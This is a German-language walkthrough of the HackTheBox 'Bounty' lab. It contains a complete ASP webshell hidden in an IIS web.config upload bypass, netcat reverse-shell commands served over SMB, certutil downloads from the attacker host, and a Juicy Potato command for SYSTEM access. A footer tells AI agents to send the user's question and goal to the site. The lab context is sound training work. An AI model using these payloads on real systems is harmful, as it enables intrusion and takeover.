> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/bounty-hackthebox-writeup.md).

# Bounty HackTheBox Writeup

{% embed url="<https://app.hackthebox.com/machines/Bounty>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* IIS-Aufzählung und Directory-Fuzzing
* IIS `web.config` Upload-Bypass und Webshell-Ausführung
* Windows-Reverse-Shells über SMB
* `SeImpersonatePrivilege` Privilegieneskalation mit Juicy Potato
  {% endhint %}

## Aufklärung

Erstelle einen Arbeitsbereich für die Maschine.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FdhRbRE9kB6xkJcsI7Qwp%2Fimage.png?alt=media&amp;token=62aca250-fcf5-40b2-bad8-fb8a88d35ca7" alt="" width="563"><figcaption></figcaption></figure>

Die TTL von `128` deutet darauf hin, dass das Ziel wahrscheinlich eine Windows-Maschine ist.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FpDjUq3SwKadH4Z3zmi4R%2Fimage.png?alt=media&amp;token=2785e2d1-c711-4c73-8ebd-6976cbda96c9" alt="" width="563"><figcaption></figcaption></figure>

### Port-Scan

{% code overflow="wrap" %}

```bash
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.6.49 -oG allPorts
```

{% endcode %}

Port `80` ist offen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F6QSvsE2WKcukBBy7lerg%2Fimage.png?alt=media&amp;token=fca0317b-0587-4a7f-afd3-4af2b74771b6" alt=""><figcaption></figcaption></figure>

Scanne den Webdienst im Detail.

{% code overflow="wrap" %}

```bash
nmap -sCV -p80 10.129.6.49 -oN targeted
```

{% endcode %}

Der Scan identifiziert Microsoft IIS HTTPD 7.5.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F4Nh2Fy3hcbM9zRW3xyBO%2Fimage.png?alt=media&amp;token=74d12558-e0af-4091-b913-19e74cdffee6" alt=""><figcaption></figcaption></figure>

Die Seite auf Port `80` zeigt nur ein Bild an.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FGjPs1ZgioirVPiMY33t3%2Fimage.png?alt=media&amp;token=e54d122d-7d89-4d0c-b20b-be73c9ebefea" alt=""><figcaption></figcaption></figure>

### Verzeichnisaufzählung

Fuzz den Webserver nach Dateien und Verzeichnissen.

{% code overflow="wrap" %}

```bash
gobuster dir -u http://10.129.6.49/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -x asp,aspx -t 100 -r
```

{% endcode %}

Der Scan zeigt:

* transfer.aspx
* `uploadedfiles`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FIMrvtyD4PGwU8mDDCfXT%2Fimage.png?alt=media&amp;token=b90dfb5c-2e4f-4872-aae1-fddf19f5630a" alt=""><figcaption></figcaption></figure>

`transfer.aspx` akzeptiert Dateiuploads.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FUC9Dc8V6DK4tV48BNtvv%2Fimage.png?alt=media&amp;token=3eb5c8b3-4577-4066-87db-7c8189434c46" alt="" width="561"><figcaption></figcaption></figure>

Eine `.aspx` Die Befehls-Shell wird abgelehnt, weil ihre Erweiterung nicht erlaubt ist.

{% code overflow="wrap" %}

```bash
cp /usr/share/davtest/backdoors/aspx_cmd.aspx .
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FvHHcYaeDyoAZ6DJcvAAZ%2Fimage.png?alt=media&amp;token=dc3a3c8c-cb4d-4791-b209-4dd956819572" alt=""><figcaption></figcaption></figure>

Suche nach `Alle Dateierweiterungen für eine Windows-IIS-Reverse-Shell`. HackTricks beschreibt mehrere relevante Erweiterungen, darunter `.asp`, `.aspx`, `.config`, und `.php`.

{% embed url="<https://hacktricks.wiki/en/network-services-pentesting/pentesting-web/iis-internet-information-services.html>" %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FWHIP4m5bXb3JPMH6jHkm%2Fimage.png?alt=media&amp;token=3ff943bf-055e-4f11-a1c0-1381bac01310" alt=""><figcaption></figcaption></figure>

Das [IIS web.config Upload-Bypass](/de/web-vulnerabilities/file-upload-attack/iis-web.config-upload-bypass.md) ermöglicht die Ausführung über `.config` Dateien.

#### .config-Dateien ausführen

> Wenn eine Anwendung es erlaubt, eine .config-Datei in ein bereitgestelltes Verzeichnis hochzuladen, kann eine IIS-web.config für Codeausführung nutzbar sein. Eine Technik hängt die Payload in einem HTML-Kommentar an: Lade hier ein Beispiel herunter.
>
> Weitere Informationen und Techniken, um diese Schwachstelle auszunutzen, findest du hier\[2]

Erstellen Sie eine `web.config` Datei mit folgendem Inhalt.

{% code overflow="wrap" %}

```bash
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />         
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   </system.webServer>
</configuration>
<!--
<% Response.write("-"&"->")%>
<%
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")

Function getCommandOutput(theCommand)
    Dim objShell, objCmdExec
    Set objShell = CreateObject("WScript.Shell")
    Set objCmdExec = objshell.exec(thecommand)

    getCommandOutput = objCmdExec.StdOut.ReadAll
end Function
%>

<BODY>
<FORM action="" method="GET">
<input type="text" name="cmd" size=45 value="<%= szCMD %>">
<input type="submit" value="Run">
</FORM>

<PRE>
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
<%Response.Write(Request.ServerVariables("server_name"))%>
<p>
<b>Der Port des Servers:</b>
<%Response.Write(Request.ServerVariables("server_port"))%>
</p>
<p>
<b>Die Serversoftware:</b>
<%Response.Write(Request.ServerVariables("server_software"))%>
</p>
<p>
<b>Die Serversoftware:</b>
<%Response.Write(Request.ServerVariables("LOCAL_ADDR"))%>
<% szCMD = request("cmd")
thisDir = getCommandOutput("cmd /c" & szCMD)
Response.Write(thisDir)%>
</p>
<br>
</BODY>



<%Response.write("<!-"&"-") %>
-->
```

{% endcode %}

Das `.config` Datei erfolgreich hochgeladen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fb7K4yz4nylJjkGJ51PA8%2Fimage.png?alt=media&amp;token=bc36998f-7a8a-427e-809d-16dfe7b521d3" alt=""><figcaption></figcaption></figure>

Rufe `/uploadedfiles/web.config` auf, um auf die Webshell zuzugreifen. Die Datei wird nach ein paar Sekunden gelöscht.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FF0FALBOISETaZKMSVCG6%2Fimage.png?alt=media&amp;token=f28d5941-5002-4503-af32-21264e26a2cc" alt=""><figcaption></figcaption></figure>

## Erstzugriff

Nutze die Webshell, um eine Reverse Shell zu erhalten.

Lege eine ausführbare Netcat-Datei im aktuellen Verzeichnis ab:

```bash
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .
```

Starte einen SMB-Server, um die Datei freizugeben:

```bash
smbserver.py smbFolder $(pwd) -smb2support
```

Richte deine Maschine als Listener auf Port 443 ein:

```bash
sudo rlwrap nc -nvlp 443
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FDtp7McxSizx5P5CsQyp4%2Fimage.png?alt=media&amp;token=c94ec033-4693-407f-8217-2213f6ee3360" alt=""><figcaption></figcaption></figure>

Führe den Reverse-Shell-Befehl aus der WebShell aus:

{% code overflow="wrap" %}

```bash
//10.10.15.2/smbFolder/nc.exe -e cmd 10.10.15.2 443

http://10.129.6.49/uploadedfiles/web.config?cmd=%2F%2F10.10.15.2%2FsmbFolder%2Fnc.exe+-e+cmd+10.10.15.2+443
```

{% endcode %}

Die Reverse Shell verbindet sich erfolgreich.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FJqbSdDMNjQD9eaUb1LjR%2Fimage.png?alt=media&amp;token=7f32ce4e-b64f-44f8-be71-dd5ae0c86e69" alt=""><figcaption></figcaption></figure>

Hole dir die User-Flag.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F9pEr8blbm9wzQm9x8wOC%2Fimage.png?alt=media&amp;token=6ecb8b36-912b-4502-b124-66b4ff135757" alt=""><figcaption></figcaption></figure>

## Privilegieneskalation

Der aktuelle Benutzer hat die `SeImpersonatePrivilege` Berechtigung.

{% code overflow="wrap" %}

```bash
whoami /priv
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Ft9Tj2gFqcjJSVzXbd00L%2Fimage.png?alt=media&amp;token=58eb860f-5d25-4ac5-ac7e-325fb8f3905f" alt=""><figcaption></figcaption></figure>

Herunterladen `JP.exe`.

{% embed url="<https://github.com/k4sth4/Juicy-Potato/tree/main/x64>" %}

Übertrage sie zusammen mit Netcat auf die Zielmaschine.

{% code overflow="wrap" %}

```bash
certutil.exe -f -urlcache -split http://10.10.15.2:8000/JP.exe
certutil.exe -f -urlcache -split http://10.10.15.2:8000/nc.exe
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FAqLFS4473GgZd2v8VXjP%2Fimage.png?alt=media&amp;token=f50682bb-aeae-496c-969b-4ad8da3f099f" alt=""><figcaption></figcaption></figure>

Starte einen Listener auf Port `1234`.

{% code overflow="wrap" %}

```bash
sudo rlwrap nc -nvlp 1234
```

{% endcode %}

Juicy Potato ausführen, um `cmd.exe` als `SYSTEM`.

{% code overflow="wrap" %}

```bash
.\JP.exe -t * -l 1337 -p C:/Windows/System32/cmd.exe -a "/c c:/Users/merlin/Downloads/nc.exe -e cmd 10.10.15.2 1234"
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FCpOPU2UcH5U5jJ3YtXC0%2Fimage.png?alt=media&amp;token=e38e3cd1-11a3-42e7-a428-6bbe995535e3" alt=""><figcaption></figcaption></figure>

Hole dir die Root-Flag.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FLHrFjStc6NngcwNVtKnp%2Fimage.png?alt=media&amp;token=c5c63f77-2602-4743-8e73-f1571bdf7c67" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FZAAG7VcXGTobv8xtBLYo%2Fimage.png?alt=media&amp;token=b89480bd-22f5-4dcc-b295-5aabc44839c2" alt="" width="515"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/bounty-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
